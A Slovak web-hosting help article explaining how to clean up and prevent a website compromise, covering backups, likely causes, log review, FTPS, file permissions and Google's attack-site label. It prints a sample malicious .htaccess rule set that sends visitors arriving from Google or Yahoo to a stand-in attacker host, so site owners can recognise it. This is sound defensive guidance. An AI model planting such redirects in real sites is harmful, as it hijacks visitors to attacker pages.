Pomoc! Moja stránka bola napadnutá. Ako to vyriešiť a ako tomu predísť?
Je nepríjemné, keď niekto napadne váš účet. Robíme všetko pre to, aby sme hackerom prácu čo najviac sťažili, no žiaľ, aj tak sa môže stať, že hacker získa prístup k vašej stránke. Vtedy je dôležité pokúsiť sa zistiť, ako sa hacker do vášho systému dostal.
Môže to byť náročná a zdĺhavá práca, ale poznať príčinu a zdroj je dôležité, aby ste tomu v budúcnosti dokázali predísť. Len všetko vymazať a obnoviť zálohu nie je riešenie.
Napadnutú webovú stránku už nezverejňujte, kým si nie ste na 100 % istí, že problém je vyriešený a stránka je bezpečná.
Svoju doménu môžete sami dočasne deaktivovať v ovládacom paneli v nastaveniach domény (alebo cez možnosť Websites pri hostingu Windows), aby napadnutá stránka nemohla ďalej škodiť tretím stranám. Prípadne môžete cez Installatron (hosting Linux) obnoviť staršiu zálohu alebo použiť náš modul záloh. Najprv odstráňte všetky priečinky a súbory a až potom obnovte zálohu, inak by novo pridané a napadnuté súbory zostali na mieste.
Odstránenie následkov útoku môžete zveriť aj našim odborníkom. Keďže ide o časovo náročnú prácu, táto služba, žiaľ, nie je bezplatná.
Kliknite sem pre viac informácií.
Preskúmajte možné príčiny:
- Najčastejšia príčina: používate skript alebo plugin, ktorý nie je aktualizovaný na najnovšiu verziu, nie je bezpečný alebo obsahuje chyby. Môže ísť aj o modul, napríklad vo WordPresse alebo Joomle.
- Návštevníkom ponúkate možnosť nahrávať súbory a niektorý z nich nahral program v PHP a spustil ho.
- Používate predvídateľné, príliš jednoduché heslá alebo heslá, ktoré sa dajú zistiť napríklad cez haveibeenpwned.com.
- Váš počítač je infikovaný vírusom alebo červom či keyloggerom, ktorý takto získava heslá a používateľské mená, napríklad k vášmu FTP účtu.
- Vytvorili ste formulár, do ktorého sa dá vložiť napríklad SQL alebo PHP kód, alebo formulár bez captcha, cez ktorý sa dá rozosielať spam.
- Prehľadajte logy prehliadača (v DirectAdmine v ponuke štatistiky a logy), či v nich nie je niečo podozrivé. Prehľadajte aj Litespeed/Apache Usage Log a Backed up Apache logs. Hľadajte IP adresy z cudzích krajín a najmä príkazy POST v kombinácii s IP adresou z cudzej krajiny. Často tam niečo nájdete. Na stránke ako www.whatsmyip.org zistíte, z ktorej krajiny IP adresa pochádza.
Ako predísť napadnutiu:
- Najdôležitejšie: všetky skripty, ako napríklad WordPress/Joomla, majte vždy aktualizované na najnovšiu verziu. Platí to aj pre pluginy a šablóny. Aktualizácie sa zvyčajne dajú jednoducho spustiť cez Installatron alebo priamo v skripte.
- Namiesto bežného FTP používajte FTPS.
- NIKDY nepoužívajte v skriptoch svoje používateľské meno a heslo. Ak je to nevyhnutné, vytvorte si na to v ovládacom paneli samostatného používateľa.
- Používajte len známe a overené skripty a priebežne ich aktualizujte.
- NIKDY neponúkajte možnosť nahrávať súbory. Je to mimoriadne nebezpečné.
WordPress, Joomla a iné skripty: zabezpečte, aby bola nainštalovaná najnovšia verzia!
WordPress, Joomlu a iné skripty je dôležité udržiavať aktuálne. Vo všeobecnosti sa tak dá napadnutiu predísť. Cez Installatron (hosting Linux) sa aktualizácie inštalujú veľmi jednoducho. Ak ste WordPress, Joomlu alebo iný skript neinštalovali cez Installatron, môžete ho do Installatronu jednoducho dodatočne importovať a potom skript aktualizovať.
Zabezpečenie priečinkov, ako je administrator v Joomle
Priečinky ako /administrator je dôležité dodatočne zabezpečiť. Tento článok vysvetľuje, ako na to.
Iframe hack:
Ak ste sa stali obeťou iframe hacku, príčinou je často trójsky kôň vo vašom počítači, ktorý si sám získa prístup k vašim FTP účtom.
- Overte, či je vaša webová stránka naozaj napadnutá. Môžete to urobiť napríklad na stránke UnmaskParasites.
- Na prihlásenie používajte namiesto FTP protokol FTPS. FTP totiž posiela všetky údaje ako čitateľný text, FTPS prenášané údaje šifruje, takže hackeri tieto citlivé údaje získajú oveľa ťažšie.
- Teraz zmeňte všetky svoje FTP heslá.
- V ovládacom paneli (správca súborov) alebo cez FTP nastavte všetkým priečinkom (Linux) chmod 755 a všetkým súborom chmod 644.
HTACCESS hack / súbor .htaccess bol upravený:
V príklade nižšie hacker upravil váš súbor .htaccess. Google a Yahoo budú vašu stránku naďalej normálne indexovať, ale všetkých ostatných návštevníkov presmeruje na stránku hackera.
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteRule .* http://hacker.xx/in.html?= [R,L]
Google považuje vašu stránku za útočnú („Nahlásená útočná stránka!“):
Na odkazoch nižšie si môžete vyžiadať informácie (zadajte vlastné doménové meno):
Na tomto odkaze získate okrem iného informácie, ale môžete tu aj požiadať, aby vaša doména alebo stránka už nebola považovaná za útočnú. Najprv sa však uistite, že je naozaj úplne vyčistená!
http://www.google.com/support/webmasters/bin/answer.py?hl=nl&answer=45432
- Na nástenke nástrojov pre správcov webu vyberte požadovanú stránku.
- V správe „Časti tohto webu môžu šíriť škodlivý softvér“ kliknite na „Ďalšie informácie“.
- Kliknite na „Požiadať o kontrolu“.